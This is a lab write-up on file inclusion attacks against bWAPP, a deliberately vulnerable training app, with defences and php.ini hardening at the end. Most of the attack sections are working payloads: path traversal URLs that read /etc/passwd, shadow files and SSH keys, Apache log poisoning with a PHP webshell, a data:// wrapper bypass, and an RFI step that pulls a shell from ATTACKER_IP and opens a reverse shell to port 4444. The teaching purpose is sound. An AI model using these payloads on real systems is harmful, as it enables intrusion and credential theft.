🧪 06 — File Inclusion (LFI & RFI)

File Inclusion — LFI & RFI

OWASP: A05 - Security Misconfiguration | **CWE**: CWE-73 | **Severity**: 🔴 Critical

---

📖 Description

- **LFI (Local File Inclusion)**: Attacker tricks the app into including a local server file, allowing them to read sensitive files or execute server-side code via log poisoning.
- **RFI (Remote File Inclusion)**: Attacker includes a file from a remote server, effectively uploading and executing arbitrary PHP code.

🔍 Affected Endpoint

```
http://localhost/bWAPP/rlfi.php
http://localhost/bWAPP/lfi.php
```

⚠️ Security Level: LOW

LFI — Read Sensitive Files

```
# Read /etc/passwd
http://localhost/bWAPP/rlfi.php?language=../../../etc/passw
d&action=go

# Read /etc/shadow (if web server has perms)
http://localhost/bWAPP/rlfi.php?language=../../../etc/shado
w&action=go
```

```
# Read PHP source code
http://localhost/bWAPP/rlfi.php?language=../bWAPP/admin/set
tings.php&action=go

# Read Apache config
http://localhost/bWAPP/rlfi.php?language=../../../etc/apach
e2/apache2.conf&action=go

# Read SSH keys
http://localhost/bWAPP/rlfi.php?language=../../../home/use
r/.ssh/id_rsa&action=go

# Windows paths
http://localhost/bWAPP/rlfi.php?language=..\..\..\windows\w
in.ini&action=go
http://localhost/bWAPP/rlfi.php?language=C:\boot.ini
```

LFI — Log Poisoning for RCE

```
# Step 1: Poison Apache access log by injecting PHP in User
-Agent
curl -A '<?php system($_GET["cmd"]); ?>' http://localhost/b
WAPP/index.php

# Step 2: Include the log file via LFI
http://localhost/bWAPP/rlfi.php?language=../../../var/log/a
pache2/access.log&action=go&cmd=whoami

# Step 3: Execute commands
http://localhost/bWAPP/rlfi.php?language=../../../var/log/a
pache2/access.log&action=go&cmd=cat+/etc/passwd
```

RFI — Include Remote Shell

```
# Step 1: Create PHP shell on attacker machine
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

```
python3 -m http.server 8080

# Step 2: Include via RFI
http://localhost/bWAPP/rlfi.php?language=http://ATTACKER_I
P:8080/shell.php&action=go&cmd=id

# Step 3: Get reverse shell
# shell.php content:
<?php
$sock = fsockopen('ATTACKER_IP', 4444);
$proc = proc_open('/bin/sh', [0=>$sock, 1=>$sock, 2=>$soc
k], $pipes);
?>

# Include it
http://localhost/bWAPP/rlfi.php?language=http://ATTACKER_I
P:8080/shell.php&action=go
```

⚠️ Security Level: MEDIUM

Defense Applied

Basic blacklisting of `http://` and `https://` in input (blocks RFI).

LFI Still Works (bypass)

```
# Blacklist blocks http:// but not path traversal
# LFI still fully functional at medium level
http://localhost/bWAPP/rlfi.php?language=../../../etc/passw
d&action=go

# RFI bypass using data:// wrapper
http://localhost/bWAPP/rlfi.php?language=data://text/plain,
<?php system('id') ?>&action=go

# PHP filter to read source (base64)
http://localhost/bWAPP/rlfi.php?language=php://filter/conve
```

```
rt.base64-encode/resource=index.php&action=go
# Then decode the base64 output to get PHP source
```

⚠️ Security Level: HIGH

Defense Applied

Whitelist-based approach — only allows specific expected values.

```
$languages = ['en', 'fr', 'nl'];
if (in_array($_GET['language'], $languages)) {
    include('lang/' . $_GET['language'] . '.php');
}
```

Result

Only whitelisted values are accepted. All traversal and remote inclusion blocked.

📊 Impact Analysis

Impact	Type
Sensitive file disclosure	LFI
Source code theft	LFI + PHP filter
RCE via log poisoning	LFI → RCE
Full server compromise	RFI → Webshell
Credential exposure	LFI on config files

✅ Remediation

1. **Whitelist allowed files**: Never allow dynamic file paths
2. **Disable** `allow_url_include` in php.ini
3. **Disable** `allow_url_fopen` if not needed
4. **Input validation**: Reject `../` sequences and URL schemes
5. **Chroot jail**: Confine web server to web root

```
; php.ini hardening
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
```

📚 References

- CWE-73: https://cwe.mitre.org/data/definitions/73.html
- OWASP LFI: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion